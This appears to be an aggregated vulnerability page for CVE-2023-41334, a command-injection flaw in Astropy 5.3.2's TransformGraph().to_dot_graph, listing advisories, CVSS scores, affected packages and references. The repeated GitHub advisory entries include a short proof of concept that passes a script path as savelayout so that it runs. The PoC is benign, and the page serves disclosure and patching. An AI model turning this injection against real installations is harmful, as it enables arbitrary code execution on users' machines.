CVE-2023-41334
astropy vulnerable to RCE in TranformGraph().to_dot_graph function
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.4
astropy vulnerable to RCE in TranformGraph().to_dot_graph function
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
- Record
CVE-2023-41334- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2024-0929
8.4
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
- Record
EUVD-2024-0929- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-h2x6-5jx5-46hf
8.4
RCE in TranformGraph().to_dot_graph function
Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>
$ cat /tmp/poc.txt
astrorce
Impact
code execution on the user's machine
- Record
GHSA-h2x6-5jx5-46hf- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
NVD
8.4
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
- Record
CVE-2023-41334- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
8.4
astropy vulnerable to RCE in TranformGraph().to_dot_graph function
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
- Record
CVE-2023-41334- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2023-41334
8.4
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
- Record
DEBIAN-CVE-2023-41334- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-h2x6-5jx5-46hf
8.4
RCE in TranformGraph().to_dot_graph function
Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>
$ cat /tmp/poc.txt
astrorce
Impact
code execution on the user's machine
- Record
GHSA-h2x6-5jx5-46hf- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
OSVPYSEC-2026-1199
8.4
RCE in TranformGraph().to_dot_graph function
Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>
$ cat /tmp/poc.txt
astrorce
Impact
code execution on the user's machine
- Record
PYSEC-2026-1199- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-41334
8.4
Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.
- Record
UBUNTU-CVE-2023-41334- CVSS 3.1
- 8.4 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVMGASA-2024-0313 No score
Updated python-astropy packages fix security vulnerability
Version 5.3.2 of the Astropy core package is vulnerable to remote code
execution due to improper input validation in the
TranformGraph().to_dot_graph function. A malicious user can provide a
command or a script file as a value to the savelayout argument, which
will be placed as the first value in a list of arguments passed to
subprocess.Popen. Although an error will be raised, the command or
script will be executed successfully. (CVE-2023-41334)
- Record
MGASA-2024-0313- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:13797-1 No score
python310-astropy-6.0.0-3.1 on GA media
These are all security issues fixed in the python310-astropy-6.0.0-3.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:13797-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11353-1 No score
python313-astropy-8.0.1-1.1 on GA media
These are all security issues fixed in the python313-astropy-8.0.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11353-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
astropyPyPI |
before 5.3.3 | 5.3.3 |
astropyDebian:12 |
All versions, plus listed versions 5.2.1-25.2.1-2+deb12u15.3-15.3.1-15.3.1-2 Show 45 moreShow less5.3.2-15.3.3-15.3.4-15.3.4-25.3~rc1-16.0.0-16.0.0~rc1-16.0.0~rc2-16.0.0~rc2-26.0.1-16.0.1-26.0.1-36.0.1-46.1.1-16.1.2-16.1.3-16.1.4-16.1.4-26.1.5-16.1.5-27.0.0-17.0.0-27.0.0-37.0.0-47.0.0-57.0.0~rc1-17.0.1-17.0.1-27.0.1-37.0.1-47.0.1-57.1.0-17.1.0-27.1.1-17.1.1-27.1.1-37.1.1-47.2.0-17.2.0~rc2-18.0.0-18.0.0~b1-18.0.0~rc1-18.0.1-18.0.1-28.0.1-3 |
None known |
astropyDebian:13 |
before 5.3.3-1 | 5.3.3-1 |
astropyDebian:14 |
before 5.3.3-1 | 5.3.3-1 |
astropyDebian:10 |
before 3.1.2-2+deb10u1, plus listed versions 3.1.2-2 |
3.1.2-2+deb10u1 |
astropyPyPI |
before 5.3.3, plus listed versions 0.10.20.2.10.2.20.2.3 Show 45 moreShow less0.2.40.2.50.30.3.10.3.20.40.4.10.4.20.4.30.4.40.4.50.4.60.4rc10.4rc21.01.0.11.0.101.0.111.0.121.0.131.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.0rc11.0rc21.11.1.11.1.21.1.post11.1.post21.1b11.1rc11.1rc21.21.2.11.2.21.2rc11.31.3.11.3.2 |
5.3.3 |
python-astropyMageia:9 |
before 5.1.1-1.1.mga9 | 5.1.1-1.1.mga9 |
astropyUbuntu:18.04:LTS |
All versions, plus listed versions 3.0-3 |
None known |
astropyUbuntu:20.04:LTS |
All versions, plus listed versions 3.2.1-1build13.2.2-1ubuntu14.0-34.0-4ubuntu1 |
None known |
astropyUbuntu:22.04:LTS |
All versions, plus listed versions 4.2-6ubuntu15.0.1-15.0.2-1 |
None known |
python-astropyopenSUSE:Tumbleweed |
before 8.0.1-1.1 | 8.0.1-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-41334 is a high vulnerability (CVSS 8.4) in Astropy, published March 18, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.13%, the 66th percentile. Fixed in astropy 5.3.3.
References
github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf
github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5
github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py
nvd.nist.gov/vuln/detail/CVE-2023-41334
github.com/advisories/GHSA-h2x6-5jx5-46hf
github.com/CVEProject/cvelistV5/tree/main/cves/2023/41xxx/CVE-2023-41334.json
Show 9 moreShow less
security-tracker.debian.org/tracker/CVE-2023-41334
github.com/astropy/astropy
advisories.mageia.org/MGASA-2024-0313.html
bugs.mageia.org/show_bug.cgi?id=33369
lists.fedoraproject.org/archives/list/[email protected]/message/AFGTG4EH37DFBG66DWJ2DEZNIO44D3AX
pypi.org/project/astropy
ubuntu.com/security/CVE-2023-41334
cve.org/CVERecord?id=CVE-2023-41334
suse.com/security/cve/CVE-2023-41334
Left out here: 83 versions. The JSON record has them.